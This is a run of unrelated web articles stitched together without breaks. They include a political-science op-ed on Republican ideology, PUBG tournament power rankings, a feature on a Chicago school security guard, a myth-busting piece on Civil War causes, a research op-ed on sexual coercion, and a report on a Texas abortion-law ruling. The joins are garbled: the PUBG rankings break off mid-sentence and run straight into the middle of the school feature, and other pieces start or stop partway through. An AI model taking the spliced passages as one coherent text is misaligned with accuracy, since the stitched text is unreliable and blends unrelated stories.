Our recent book, Asymmetric Politics, explains why the GOP cannot easily be diverted from its conservative path. The Republican Party is the agent of an ideological movement — unlike the Democratic Party, which is a social coalition defending the concrete interests of its constituent groups. Democratic politicians work to achieve incremental benefits for a variety of electoral constituencies. But Republican voters, politicians, and activists are motivated instead by adherence to a single ideological doctrine. With Trump’s election, Republicans are continuing their longstanding drive toward a broad rightward shift in policy.
President Trump asked House Republicans if they can "believe" that he's president, while celebrating the passage of the American Health Care Act in the House of Representatives on May 4 at the White House. (The White House)
Republicans’ firm and uncompromising dedication to small-government values can cause big problems for party leaders. The congressional right wing has already shown that it’s willing to oppose health care and budgetary proposals introduced by its own party’s leadership. Disputes among Republicans over how much electoral risk the party should take in order to remain true to conservative principles can be just as difficult to resolve as typical Democratic disagreements over which party constituency should receive the most attention from officeholders.
[How different are the Democratic and Republican parties? Too different to compare.]
Many conservative Republican themes – like personal liberty, American nationalism, and moral traditionalism – are quite popular. But the ideology is more appealing than most specific conservative policy positions. As Republicans have discovered during frustrating debates over health care, while “small government” may be an attractive idea, losing government benefits or protections is not – and provokes a backlash.
Why Trump still represents a conservative opportunity
Previous Republican presidents resolved these conflicts by pairing selected conservative priorities with major policy initiatives departing from ideological precepts — even expanding the size and scope of government.
For instance, George W. Bush launched a new federal intervention in public education, No Child Left Behind, which included nationwide standards and testing; regulated the accounting industry; brought back agricultural subsidies; and passed a new prescription drug entitlement. His father George H. W. Bush hiked the minimum wage, raised taxes, increased environmental regulation, and expanded disability rights. Ronald Reagan hiked gas taxes to fund transportation improvements, built major job training programs, and offered amnesty to undocumented immigrants.
But Trump is sticking with a more consistently conservative path and refusing to compromise with the Democratic opposition. In doing so, Trump and his Republican congressional allies are trying to reverse a decades-long trend in which federal policymaking has drifted in a liberal direction no matter which party is in power.
If the Trump administration doesn’t win any major legislative victories while he’s in office, conservatives will surely be quite disappointed. Yet if Trump pursues regulatory retrenchment within the federal bureaucracy while declining to advance any major new legislative expansions of government responsibility, he will still compile the most conservative policy record of any recent administration.
Reporters and pundits like to portray political campaigns as a battle of individual personalities. But elections are mostly a competition between two partisan teams. Many Republican leaders and activists saw Trump’s victory as a rare opportunity to move national policy much farther to the right. Rather than trying to squelch or redirect these ambitions, Trump has staked his presidency on fulfilling them.
Matt Grossmann is director of the Institute for Public Policy and Social Research and associate professor of political science at Michigan State University. Find him on Twitter @mattgrossmann.
David A. Hopkins is associate professor of political science at Boston College and blogs about U.S. politics at Honest Graft.
Together they are the authors of Asymmetric Politics: Ideological Republicans and Group Interest Democrats (Oxford University Press, 2016).I have been playing around doing this for a while and I finally took the plunge. I missed the delivery today because UPS comes at all hours, 90% of the time while I am at work. I came home, called up UPS and arranged to pick it up. I picked up the packaged and rushed home filled with suspense. I opened the package and was greeted with three wonderfully wrapped packages and a very nice letter and a DVD, the letter said there were treats from a local dog treat business for my lab mix Atlas in Indiana and the DVD contained the artwork from one of my gifts. I opened up one of the packages, inside were 2 custom etched beer glasses with a logo for a home brewed beer I make called "Atlas' Might CDA" I was amazed. Such a thoughtful, perfect gift from a complete stranger. The other package was 2 more glasses. I ran to my kegerator and poured my self a pint into one of the new glasses and rushed over to tell the world about it.Right before the IEM Oakland PUBG Invitational 2017 kicks off, we deliver The Shotcaller’s IEM Oakland PUBG Invitational 2017 Power Rankings. We took a look at all the twelve invitees as well as at the eight teams that managed to qualify in very tough qualifiers, with more than 2,000 players competing.
20) Luminosity Gaming
Line-up: Ninja, JP2, DrasseL, chipzy
Status: Invited
The line-up around the famous streamer Ninja took home the trophy in the Gamescom PUBG Invitational back in August but since then the squad hasn’t participated in any serious competition. It is also questionable if H1Z1 and Fortnite are the right preparation for the to date most prestigious PLAYERUNKNOWN’s BATTLEGROUNDS tournament.
19) Evil Geniuses
Line-up: Pandaego, Gnomey, GOUL, zWattz
Status: Invited
Evil Geniuses announced their line-up on the same day their IEM Oakland invite got revealed. As a squad, Evil Geniuses do not have any accomplishments to show, but some of the players have been fairly successful grinding the public Duo-Q leaderboards in North America.
18) Miami Flamingos
Line-up: DatKoKo, TonyV, ZeNTTRiiX, 1HunnaRounds
Status: Qualified
Barely anyone had them on the list, but the Miami Flamingos successfully qualified for the IEM Oakland PUBG Invitational 2017. Now the big stage is their chance to show up once again and prove that they are where they belong, among the best teams in the world.
17) Wind and Rain
Line-up: GustavQQ, Tryffeli, Wookiebookie, Stab
Status: Qualified
The squad that qualified under the name “WhiteKids” replaced their former player Caint with Stab. Due to that change and a lack of showings outside of the qualifier, it is fairly difficult to predict the performance of Wind and Rain. Maybe we will see a surprise here.
16) Ronin Esports
Line-up: Duckk, notadeveloper, Kraqen, Minifridgejr
Status: Qualified
Ronin Esports also changed their active roster not too long ago, bringing in notadeveloper but qualified with the same starting roster that they are fielding during the IEM Oakland Invitational. While for most of the team it’s a home game, Kraqen, who calls himself a party breaker, is a German player.
15) Ninjas in Pyjamas
Line-up: Crunch, Sweaterr, Borg, Ekkz
Status: Invited
Since the original Cloud9 line-up split up and a part of it ended up as the foundation of the new Ninjas in Pyjamas PUBG roster, they haven’t been very present in competitions. It is one of those teams that should have gone through the qualifying process instead of receiving a direct invite.
14) Cloud9
Line-up: Forlicer, SOLIDFPS, Chappie, Moody
Status: Invited
In recent history, Cloud9 was unable to deliver the results you would expect from a talented roster like this one. While the reasons for their underperformance are hard to identify, they should have fixed them before the IEM Oakland Invitational kicks-off or they will find themselves in the last quarter of the leaderboards.
13) Noble
Line-up: Boom, Interrogate, TheChosenZygote, Edakulous
Status: Invited
Noble has been performing very inconsistently and even missed a lot of match days in different competitions. As one of the teams that should have gone through the qualifier to prove that they are worthy to participate in the IEM Oakland Invitational, it has to be seen if they have found their consistency once again.
12) Method
Line-up: AndyPyro, Aitzy, EnergeticTurtle, LaytoN
Status: Invited
In order to improve the team chemistry, which the team itself considered as |
me. But I'll be OK. I'm mainly worried about the kids. Some of them need a lot of help. I hope they find people who care about them."
He removes the glasses and rubs both eyes with the butt of his hand. "I gotta try and get myself together," he says. Too late: a pair of sixth-grade girls has noticed. "You fitting to make me cry," one of them says, and then they both lean over and hug him. Cockrell tells them he'll see them outside in a few minutes, at the picnic on the playground.
The weather's perfect for the picnic: a cloudless sky, temperatures in the 70s. There's barbecued chicken, hot dogs, hamburgers. Students are skimming down a big inflatable slide, tossing Frisbees, skateboarding, playing games at booths. Some are playing basketball and volleyball in the adjacent gym. Cockrell's sitting at one of the portable tables set up on the concrete playground. Kids approach him to show off prizes they've won at the booths.
"Mr. Cockrell!" A third grader displays sparkly gold pom-poms. Cockrell nods approvingly.
"Mr. Cockrell!" A second grader has a box of colored chalk and a heart-tattoo sticker. "Where you gonna put your tattoo?" Cockrell asks her. The girl points at her arm.
"Mr. Cockrell! What you gonna win?" a little boy wonders.
"I'm not gonna win anything, I'm just gonna watch y'all win."
In Cockrell's first week of kindergarten here, he got in trouble one day for something—"probably talking too much"—and was kept inside for recess. From the kindergarten window he could see his classmates romping on the playground, and he showed his annoyance by emptying cartons of milk on a couple of them. The assistant principal made him wash their shirts. "She taught me that when you do something wrong, you have to deal with the consequences."
"He cares about all the students—not just the good ones. He helps with everyday problems." —Mia Bonds, final valedictorian at Henson elementary, which closed last week
It was that assistant principal, Joanne Bradley, who invited Cockrell to work at Henson after he finished high school. Bradley retired in 1993 after 30 years at the school. She still talks with Cockrell now and then on the phone. "I don't remember a time when he wasn't at Henson," she says. The way people opened up to him is what really stood out, she adds. "They would tell him things they wouldn't tell us."
On the playground, Cockrell asks a young man to buy him a Pepsi and something for himself at a neighborhood store. He gives him a few bucks. The man is a former Henson student, now age 20. "I try to keep a couple dollars in his pocket," Cockrell says after the man departs for the store. "He's a real nice young man, but the job opportunities right now are not too good."
Cockrell also pays the man to run the clock in his Sunday men's basketball league. Cockrell started the league at Henson 16 years ago. Last year, because of insurance issues at the school, he had to move it to another gym in the neighborhood, at the church he attends on Pulaski near Roosevelt. He still calls it the Henson men's basketball league, and he says he always will.
When the games were at Henson, he thinks the league helped make students safer, because of the connection young men made with the school. Henson's hallways were being painted over the summer last year, but the painters weren't going to be able to finish on time. Henson got a bunch of his basketball players to complete the job.
Cockrell believes he's kept some Henson students from joining gangs, because of the relationships he's formed with them, and the activities he's provided them through his coaching. "You can't save them all, but you can save quite a few," he says.
He never had children of his own, though he helped raised three kids with a longtime girlfriend. Their fathers weren't very involved in their children's lives. "I love kids, but the Lord didn't bless me with any," he says.
Cockrell's own father was never around, but he says his mother made him feel secure and loved. For 40 years, she rose early to take public transportation to Skokie, where she cleaned houses. He gives her her medicine every morning before he leaves for school, and cooks for her evenings and weekends.
Now he gazes across the playground, and talks of plans to organize kickball, dodgeball, and basketball games here this summer. "I'm gonna try to get some of the men in my basketball league to donate a couple hours so we can keep something going in the neighborhood for the kids." For their benefit, of course—but not only theirs. "It's important for me, too, because I cannot go without seeing them."
Andrea Bauer
Midafternoon, Cockrell's in the first-floor hallway with an agitated sixth-grade girl. She's talking a mile a minute about the fight she nearly got into moments earlier with a classmate. She says that after another girl hit her with a dodgeball in the gym, she grabbed the ball and chased her into the auditorium and hurled the ball at her, but hit another girl in the face. She says she apologized even though it was an accident, but the girl still wanted to fight her.
"I'm proud of you because you told her you were sorry," Cockrell says.
"But she still wanted to fight me," the girl says.
"You can only apologize. You can't make a person accept your apology, you can just do the right thing, and you did that." The girl smiles bashfully.
Cockrell tells me later that the girl had been in a lot of conflicts during the year and "normally wouldn't apologize to anyone. But she's learned a little bit. She used some bad words to the other girl, but I would rather her do that than fight. She'll calm down and she'll be OK."
He's seen innumerable students through the years who have trouble managing their anger. "It's no guidance in their homes. They're being raised by babies—some of these kids' mothers are 19, 20 years old. A lot of women have men in their house that shouldn't be there. The violence, the drugs, seeing all that—you'd be angry, too. I tell people all the time: we say the kids are bad, but you gotta look in the household and see what's going on."
Children "are looking for love and guidance, and for someone to believe in them," he says. "God blessed me with words that they listen to."
In the front lobby, the mother of a second grader is steaming. A classmate struck her son earlier today in their classroom. She happened to be there and she saw it. She's fanning herself now with a RedEye, but it's not bringing her temperature down. "It's not fair that my son gets punched in his nuts twice in one week," she says loudly, to no one in particular.
She strolls down the hall. Cockrell catches up and chats with her. He asks her what her son will be doing this summer. She says she's trying to find a summer program for him. Cockrell tells her about a program at his church. By the time he eases her out the back door, she's cooled off.
Near the security counter, a sixth-grade girl is crying silently. She argued with a teacher upstairs, then came down to the office, hoping someone would call her mother to come get her early—but it's too close to the end of the day. She tells Cockrell her head hurts.
"I want you to answer this for me," Cockrell says. "What's the best thing you can do right now? Can you control yourself for an hour and a half? I think you can do that." The girl leans on the counter and wipes her eyes with the collar of her I CAN ACHIEVE AND SUCCEED T-shirt. "Look at me," Cockrell says softly. "If you calm down, you'll feel better. I want you to go to the bathroom, and wipe your face, and get yourself together." She heads towards the restroom.
At 3:40, principal Hobson is on the PA with his last end-of-day announcement: "This is our final few minutes as a school. As you prepare for your summer, I want you to promise that you will read every day.... I want you to remember that education is the key to unlock the golden door to freedom. Let's leave our school peacefully and positively."
At the security desk, Cockrell has been glancing at his cell phone; he's been getting texts from former students and friends who wonder how he's doing on this difficult day. Now he pushes himself up from his chair. "Man, this is it," he says. "Gonna go out here, say good-bye to the kids."
It's breezy outside now. The shallow front steps are soaked in sunlight. Students spill out of the front door and exchange hugs and high fives with teachers and other staff. The mood is mostly upbeat.
"Mr. Cockrell, can you go to where I'm gonna be at, Hughes?" a second grader wonders.
"Uh, I don't know if I can go to Hughes. Thank you for asking me."
"Mr. Cockrell, I'm gonna miss you," another young boy says.
"Thank you, man. You be good at whatever school you go to."
Students of all ages embrace him and tell him they love him. Cockrell finally loses it, tears escaping again from under his glasses. A fifth-grade boy holding a football gives him a consoling hug.
Hobson notices, too. "You wanna come inside and cool off for a minute?" the principal asks gently.
"No, I'm good."
Most of the students are soon gone, and then Cockrell trudges back inside. In the student lunchroom across from the main office, he and his longtime friend, teacher Kahinde Longmire, console each other. Cockrell rests his forehead on the edge of one of the folded-up portable tables. Longmire strokes his back and offers him a tissue.
Back at the security counter a moment later, Cockrell lets loose a long sigh. I ask him what he's thinking. "New chapter coming," he says softly. "I've been truly blessed to be able to work for so long in the place I grew up in. Wherever I end up, I just hope and pray that I'll get a principal who will know the kind of person I am. I have to be able to relate to the kids, not just sit there. 'Cause I wanna be more than a security guard."CAIRO — For all the diplomatic dominoes that have fallen across the Middle East in recent days, with ambassadors from different countries flying home as a result of the explosive rift between Saudi Arabia and Iran, the map of allegiances has not significantly altered.
Certainly, several countries offered muscular shows of solidarity to Saudi Arabia after an Iranian mob attacked its embassy in Tehran over the weekend, prompting a crisis that has put the United States in a bind and has threatened to set back the prospects for a resolution to the conflict in Syria.
By Tuesday, Kuwait had recalled its ambassador to Iran, the United Arab Emirates had downgraded its diplomatic relationship, and Bahrain and Sudan had joined Saudi Arabia in severing its relationship with Tehran entirely.
Yet many other Sunni Muslim countries signaled that they intended to take a more measured approach to the argument — sympathizing with Saudi Arabia, a rich and powerful ally, but also determined to avoid getting sucked into a harmful conflict with Iran, a country governed by Shiite clerics, with potentially grave costs.A Confederate flag is reflected in the window of a gift shop that sells them in Seligman, Ariz.
June 21, 2015 A Confederate flag is reflected in the window of a gift shop that sells them in Seligman, Ariz. Michael S. Williamson/The Washington Post
One hundred fifty years after the Civil War began, we’re still fighting it — or at least fighting over its history. I’ve polled thousands of high school history teachers and spoken about the war to audiences across the country, and there is little agreement even about why the South seceded. Was it over slavery? States’ rights? Tariffs and taxes?
As the nation begins to commemorate the anniversaries of the war’s various battles — from Fort Sumter to Appomattox — let’s first dispense with some of the more prevalent myths about why it all began.
1. The South seceded over states’ rights.
Confederate states did claim the right to secede, but no state claimed to be seceding for that right. In fact, Confederates opposed states’ rights — that is, the right of Northern states not to support slavery.
On Dec. 24, 1860, delegates at South Carolina’s secession convention adopted a “Declaration of the Immediate Causes Which Induce and Justify the Secession of South Carolina from the Federal Union.” It noted “an increasing hostility on the part of the non-slaveholding States to the institution of slavery” and protested that Northern states had failed to “fulfill their constitutional obligations” by interfering with the return of fugitive slaves to bondage. Slavery, not states’ rights, birthed the Civil War.
South Carolina was further upset that New York no longer allowed “slavery transit.” In the past, if Charleston gentry wanted to spend August in the Hamptons, they could bring their cook along. No longer — and South Carolina’s delegates were outraged. In addition, they objected that New England states let black men vote and tolerated abolitionist societies. According to South Carolina, states should not have the right to let their citizens assemble and speak freely when what they said threatened slavery.
A Confederate flag is still flying on the grounds of South Carolina's state capitol, even after a white gunman was accused of killing nine black churchgoers at an AME church in Charleston, S.C. Here's a closer look at why the flag isn't at half-staff or even off the grounds completely. (Jorge Ribas/The Washington Post)
Other seceding states echoed South Carolina. “Our position is thoroughly identified with the institution of slavery — the greatest material interest of the world,” proclaimed Mississippi in its own secession declaration, passed Jan. 9, 1861. “Its labor supplies the product which constitutes by far the largest and most important portions of the commerce of the earth.... A blow at slavery is a blow at commerce and civilization.”
[The racist media narrative around mass shootings]
The South’s opposition to states’ rights is not surprising. Until the Civil War, Southern presidents and lawmakers had dominated the federal government. The people in power in Washington always oppose states’ rights. Doing so preserves their own.
2. Secession was about tariffs and taxes.
During the nadir of post-civil-war race relations — the terrible years after 1890 when town after town across the North became all-white “sundown towns” and state after state across the South prevented African Americans from voting — “anything but slavery” explanations of the Civil War gained traction. To this day Confederate sympathizers successfully float this false claim, along with their preferred name for the conflict: the War Between the States. At the infamous Secession Ball in South Carolina, hosted in December by the Sons of Confederate Veterans, “the main reasons for secession were portrayed as high tariffs and Northern states using Southern tax money to build their own infrastructure,” The Washington Post reported.
These explanations are flatly wrong. High tariffs had prompted the Nullification Controversy in 1831-33, when, after South Carolina demanded the right to nullify federal laws or secede in protest, President Andrew Jackson threatened force. No state joined the movement, and South Carolina backed down. Tariffs were not an issue in 1860, and Southern states said nothing about them. Why would they? Southerners had written the tariff of 1857, under which the nation was functioning. Its rates were lower than at any point since 1816.
1 of 45 Full Screen Autoplay Close Skip Ad × ‘Take it down’: The fight to stop the Confederate flag from flying in S.C. View Photos Demonstrators campaign to remove the Confederate flag at the South Carolina capitol. Caption Flags have been removed from Alabama’s capitol grounds, and South Carolina’s governor wants her state to do the same. June 27, 2015 Demonstrators protest at the South Carolina statehouse calling for the Confederate flag to remain on the capitol’s grounds. Win McNamee/Getty Images Buy Photo Wait 1 second to continue.
3. Most white Southerners didn’t own slaves, so they wouldn’t secede for slavery.
Indeed, most white Southern families had no slaves. Less than half of white Mississippi households owned one or more slaves, for example, and that proportion was smaller still in whiter states such as Virginia and Tennessee. It is also true that, in areas with few slaves, most white Southerners did not support secession. West Virginia seceded from Virginia to stay with the Union, and Confederate troops had to occupy parts of eastern Tennessee and northern Alabama to hold them in line.
However, two ideological factors caused most Southern whites, including those who were not slave-owners, to defend slavery. First, Americans are wondrous optimists, looking to the upper class and expecting to join it someday. In 1860, many subsistence farmers aspired to become large slave-owners. So poor white Southerners supported slavery then, just as many low-income people support the extension of George W. Bush’s tax cuts for the wealthy now.
[It’s up to white people to save themselves from racism]
Second and more important, belief in white supremacy provided a rationale for slavery. As the French political theorist Montesquieu observed wryly in 1748: “It is impossible for us to suppose these creatures [enslaved Africans] to be men; because allowing them to be men, a suspicion would follow that we ourselves are not Christians.” Given this belief, most white Southerners — and many Northerners, too — could not envision life in black-majority states such as South Carolina and Mississippi unless blacks were in chains. Georgia Supreme Court Justice Henry Benning, trying to persuade the Virginia Legislature to leave the Union, predicted race war if slavery was not protected. “The consequence will be that our men will be all exterminated or expelled to wander as vagabonds over a hostile earth, and as for our women, their fate will be too horrible to contemplate even in fancy.” Thus, secession would maintain not only slavery but the prevailing ideology of white supremacy as well.
4. Abraham Lincoln went to war to end slavery.
Since the Civil War did end slavery, many Americans think abolition was the Union’s goal. But the North initially went to war to hold the nation together. Abolition came later.
On Aug. 22, 1862, President Lincoln wrote a letter to the New York Tribune that included the following passage: “If I could save the Union without freeing any slave, I would do it; and if I could save it by freeing all the slaves, I would do it; and if I could save it by freeing some and leaving others alone, I would also do that. What I do about slavery and the colored race, I do because I believe it helps to save the Union; and what I forbear, I forbear because I do not believe it would help to save the Union.”
[Black America should stop forgiving racists]
However, Lincoln’s own anti-slavery sentiment was widely known at the time. In the same letter, he went on: “I have here stated my purpose according to my view of official duty; and I intend no modification of my oft-expressed personal wish that all men every where could be free.” A month later, Lincoln combined official duty and private wish in his preliminary Emancipation Proclamation.
White Northerners’ fear of freed slaves moving north then caused Republicans to lose the Midwest in the congressional elections of November 1862.
Gradually, as Union soldiers found help from black civilians in the South and black recruits impressed white units with their bravery, many soldiers — and those they wrote home to — became abolitionists. By 1864, when Maryland voted to end slavery, soldiers’ and sailors’ votes made the difference.
5. The South couldn’t have made it long as a slave society.
Slavery was hardly on its last legs in 1860. That year, the South produced almost 75 percent of all U.S. exports. Slaves were worth more than all the manufacturing companies and railroads in the nation. No elite class in history has ever given up such an immense interest voluntarily. Moreover, Confederates eyed territorial expansion into Mexico and Cuba. Short of war, who would have stopped them — or forced them to abandon slavery?
To claim that slavery would have ended of its own accord by the mid-20th century is impossible to disprove but difficult to accept. In 1860, slavery was growing more entrenched in the South. Unpaid labor makes for big profits, and the Southern elite was growing ever richer. Freeing slaves was becoming more and more difficult for their owners, as was the position of free blacks in the United States, North as well as South. For the foreseeable future, slavery looked secure. Perhaps a civil war was required to end it.
As we commemorate the sesquicentennial of that war, let us take pride this time — as we did not during the centennial — that secession on slavery’s behalf failed.
jloewen@uvm.edu
Sociologist James W. Loewen is the author of “Lies My Teacher Told Me” and co-editor, with Edward Sebesta, of “The Confederate and Neo-Confederate Reader.”
Read more from our “5 myths” archive, including:
“Five myths about why women earn less than men”
“Five myths about gas prices”
“Five myths about the future of journalism”
“Five myths about Moammar Gaddafi”
“Five myths about Muslims in America”
Read more from Outlook, friend us on Facebook, and follow us on Twitter.Bears Fri Aug 10 2012
Last night's 31-3 loss to the Denver Broncos was the epitome of a preseason opener. Some players looked utterly lost, the (replacement) referees marked off 10 yards for a defensive holding penalty instead of five (this is pro football fellas), and Fox Chicago decided to go to commercial out of nowhere -- until we later found out it was the two-minute warning.
But most everyone deserves a pass on the first night of true football, especially when accounting for the fact that Lovie Smith sat Jay Cutler (baby daddy), Julius Peppers (field conditions), Matt Forte (that paper he signed was expensive), and Brian Urlacher (personal reasons, which means knee injury -- or he and Jenny McCarthy are fighting). Despite the lack of impact talent, plenty of players were being looked at closely, with special attention being paid to top draft picks.
Shea McClellin was a surprising first-round pick for the Bears back in April. Most scouts saw him as an outside linebacker in a 3-4 defense, but general manager Phil Emery thought he could grow and excel as a defensive end and weak-side linebacker in the Bears 4-3 scheme (or it's a precursor to a new coach next year, but that's for another day). Early camp reports, however, weren't so kind to the rookie from Boise State, as he was reportedly spending much of his time lying on his back.
Last night was a different story. Despite lacking bulk, McClellin got an early sack on Broncos backup quarterback Caleb Hanie (BOOOOOOO!!!!!), and also registered a pair of quarterback hits (one being a roughing penalty that was unavoidable) in an impressive performance at getting to the QB. He did get stood up on a few run plays (including a touchdown run where he looked like what reporters saw at camp), but the team doesn't expect him to be All-Pro in his first season. Right now, they're looking for someone that can attack the QB and take pressure off of Julius Peppers on passing downs, and that's exactly what McClellin did last night.
Wide receiver Alshon Jeffery, the Bears second round pick, was just as impressive on the offensive end. He caught nearly everything thrown in his general direction (four catches for 35 yards), and did most of his work in heavy traffic. He still needs to clean up his route running (it was choppy at times, and he presented giveaways to the defenders in some of his breaks), but some of that can be chalked up to the wet conditions on an already sub-par surface.
With the addition of Brandon Marshall and Jeffery, the Bears have done an incredible job at shoring up the receiving core, and giving Cutler weaponry aplenty. The offensive line is still a major issue though. The first team linemen played much of the first half (with LT J'Marcus Webb playing most of the game), and Chris Spencer along Gabe Carimi got driven back on multiple plays while giving up a sack each.
The secondary also continues to be a major question mark, and the situation isn't helped by Major Wright leaving the game with a hamstring pull that is said to be mild. Thankfully, he was the only Bears player that seemingly left early due to injury, and that alone is the most important fact to take out of the first preseason game. Unfortunately, injuries aren't anything new to Wright, and with the Bears being thin at the position already, rookie third rounder Brandon Hardin will need to step up his play in practice to try and fill the void.Originating in South Korea, the Light Rose Garden is on a world tour and its first overseas stop, Hong Kong, hosts the garden ahead of Valentine’s Day.
The garden is made up of 25,000 waterproof white roses arranged tightly in Hong Kong’s landmark Central and Western District Promenade, with 25 roses planted every three square meters.
The roses will light up each night and instantly illuminate the park against the backdrop of Hong Kong’s skyline.
Organizer Jung Yong Jin said that he’s thrilled to see people outside of Seoul enjoying the garden.
"Hong Kong is a charming city. The nightscape is beautiful. That’s why I chose Hong Kong," Jung said.
Jung went on to explain how the idea came about, "I created this LED rose garden because I wanted families, friends and lovers to come out to parks at night," Jung said.
Before the garden opened to the public, it attracted large traffic to the park with couples, families and friends flocking to take photos.
Ms Wu, a young professional from Taiwan, traveled to Hong Kong to celebrate Valentine’s Day with her boyfriend.
She said it was a very familiar scene because she’s an avid Korean drama fan.
"Because I watch a lot of Korean dramas, there are a lot of romantic scenes in them with something like this. So when I saw this, I was actually moved”.
Unfortunately, the sentiment was not shared by her boyfriend who said "I don’t feel anything" before breaking out into laughter.
The "Light Rose Garden" is open to the public from 14-22 February in Hong Kong. Singapore is the next stop of its tour.Are we facing an epidemic of harmful anal sex, brought on only because of the availability of online porn? This is what you’d think from reading a recent policy note from the Department of Culture, Media and Sport in support of the government’s aim to require all pornographic websites to use age verification by default.
But this suggestion rests on two debatable assumptions: first, that pornography has driven the rise in heterosexual couples trying anal sex, and second, that this is harmful, something to be discouraged or, in the government’s words: “unwanted”. Considering that it’s one of my research papers that the government cites in support of its claims, I feel I need to question these assumptions.
On the first assumption, there is no clear link between access to pornography and anal sex among young people – something pointed out in my paper published in the BMJ Open journal in 2014. However, whether or not this is the case the second assumption misses – or blurs – the essential distinction between consensual and coercive sexual practices. My co-author Ruth Lewis and I argued that the harms we identified – as cited in the DCMS note – stem not from anal sex per se but from elements of coercion that seem to be an integral part of many young people’s experiences and expectations of anal sex between men and women. In fact this is not limited to anal sex, but a feature of other sexual practices too.
What we found in our research was that young, straight men may derive some kudos among their friends from having anal sex with women, and that some of the young men in our study seemed to place a low value on their partner’s wishes. Participants talked about men “persuading” and using coercive methods to have anal sex with women as if this were normal. The fundamental problems behind coercion – of women’s desires being ignored, the men pushing/women resisting model of heterosex, and sex acts as goals for men – all long pre-date the era of easy access to online porn, as does sexual coercion itself.
EQRoy/shutterstock.com
Of course, pornography may contain depictions of harmful practices, such as coercive or non-consensual sex. But this also appears in films, books and other media that aren’t classed as pornography – films such as Irreversible or Baise Moi, to name just two. But the fundamental causes of sexual coercion and rape go far deeper than simply copying what is on screen. It seems overly optimistic to suggest that reducing access to pornography will reduce the problem of sexual coercion or “unwanted sex”, when the socio-cultural attitudes that support sexual coercion remain unchallenged.
Good education on sex and sexuality can help challenge some of the harmful gender dynamics that promote the problematic sexual activities we identified in our study. Better education and more frank and open discussion would also help young people take a more critical view of pornographic imagery. The government’s policy document rightly talks about tackling the potential harms that can come from anal sex, but instead of asking why couples are increasingly trying anal sex – framed as if this is a threat to society – the government should be asking why they engage in sexual acts they do not want or do not enjoy. Addressing this is a question that goes far beyond restricting children’s access to porn.
A good starting point would be to ensure all young people have access to comprehensive sexuality education that challenges coercive practices, helps improve communication skills, and emphasises mutuality – the process where partners ask about and take account of each other’s desires. Instead, the government has taken steps to ensure that sexuality education will not be a compulsory part of the curriculum.7.4k SHARES Share Tweet Whatsapp
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Milo is practically a staple for every Malaysian. It’s perfect chocolatey goodness fills any Malaysian up, literally. It’s the drink that all of us can enjoy in the morning, noon AND night.
Besides the choco powder that turns into our delicious drink, we even have the Milo chocolate bar and chocolate nuggets that are equally mouth-watering.
So imaging the surprise when Malaysians found out that our Milo comes in a different form – CUBES!
It’s called ‘Milo Energy Cubes’ or also known as ‘choco Milo’, and it just looks amazzzinngggg!
A netizen described this to be ‘a tiny cube of chocolate cookie – the densest, crunchiest tiny cube of chocolate cookie I’ve ever had.’
The Milo cube is also said to be hard in texture. Don’t be fooled by its sheer size though, because everyone praised how delicious it is! And we wouldn’t expect any less!
Either you suck on these babies, or bite into their crunchy interior.
Amazingly, it’s being sold for about RM10.50 for 100 cubes. But the not so amazing part… it can only be found in Nigeria, Ghana, UK and a few more selected countries.
Source: 池袋うまうま日記
These adorable 0.8cm x 0.8cm x 0.8cm cubes are to die for! And of course, every Malaysian wants a piece of it! (And more… way way more!)
Malaysian netizens who stumbled across images of these milo cubes can not be anymore excited. Nor can we!
“I’ve tried this before! They are actually really REALLY good!” one netizen shared.
“WHY ISN’T NESTLE SELLING THESE IN MALAYSIA???” another commented.
You’re right. Why is it NOT selling here?
Anyone knows how to get their hands on em? Please share it with us!!!!A Woonsocket police officer was the subject of a charming Facebook picture because he rescued a small dog from a culvert.
According to a Facebook post by Peggy Edwards, Officer Joseph Brazil responded to Alice Avenue on Saturday afternoon after a witness called 911 and said a dog on the loose had become trapped in the culvert. Apparently, the dog had been frightened by a passing car.
After failing to coax 5-month-old Cece out, Brazil rolled up his pants and rescued her.
"As I got closer, I could see Cece just clinging to the side and just shaking," Brazil said. "(The dog was) very, very frightened."
Once he got close enough, Brazil told NBC 10 News that he let Cece, a Yorki Shitzu mix, smell his hand and then picked her up.
"It just seemed like she was almost saying thank you. Like she knew I was there to help," Brazil said.
Cece's owner, Michelle Perez, is also thankful. Her mother-in-law had just given her the puppy last Friday. But the next day, Perez said Cece escaped from a back door.
"She's only 5 months old. I wasn't able to sleep," Perez said. "All I kept doing was just driving around, calling her."
Thanks to Brazil, the two were reunited at the Woonsocket Animal Shelter. Perez said she called the shelter on Monday and once she found out Cece was there, she picked her up.
Brazil told NBC 10 that he doesn't have a dog but wants to adopt one. He said he thought about adopting Cece if no one claimed her.Janet Crepps, an attorney with the Center for Reproductive Rights and lead counsel on the case, said the plaintiffs are also prepared to potentially take the case to the Supreme Court.
"We wouldn't stop," she said. "We just have too much at stake for the women in Texas to stop without doing everything we can to keep the law from going into effect."
During the trial, witnesses and attorneys for Whole Woman’s Health said the law would have forced providers to stop performing second-trimester abortions.
Doctors testified that they have three methods of stopping a fetus’s heart before removing it: either with a digoxin or potassium chloride injection or by cutting the umbilical cord and letting the fetus bleed out. They said using injection methods later in pregnancy when the fetus is larger is safe for women, but not during dilation and evacuation abortions. None advocated cutting the umbilical cord to cause death because the cord is not always easily accessible.
The state argued that the law regulates the moment of death for fetuses and does not ban second-trimester abortions.
Crepps said she was disturbed by the state prioritizing fetal interests over women’s interests. In her arguments, she cited three Supreme Court decisions — Stenberg vs. Carhart, Gonzales vs. Carhart and Whole Woman’s Health vs. Hellerstedt — that she said were key to laying the foundation of dilation and evacuation abortions’ constitutionality.
The state has a "hard road here,” Crepps said. “All the other courts that have looked at this have come out the same way, saying these laws are unconstitutional.”
In his opinion, Yeakel drew the conclusion that the Stenberg and Gonzales cases set a precedent against banning dilation and evacuation abortions. District courts exist to preserve constitutional rights, not search for a way to evade or lessen them, he wrote.
“Once the Supreme Court has defined the boundaries of a constitutional right, a district court may not redefine those boundaries,” he said in his opinion.
While doctors testifying for the plaintiffs said using injection methods to stop the fetus’s heart requires specialized training and skill, the state argued the techniques would be easy to learn. The state also focused on pain as a reason to require fetal demise. Doctors can’t prove fetuses feel pain, but they can’t disprove it, said Darren McCarty, a lawyer with the Texas attorney general’s office.
“If there’s a 5 percent chance or even a 1 percent chance, the state has an overwhelming interest in ensuring humane termination of fetal life,” McCarty said.
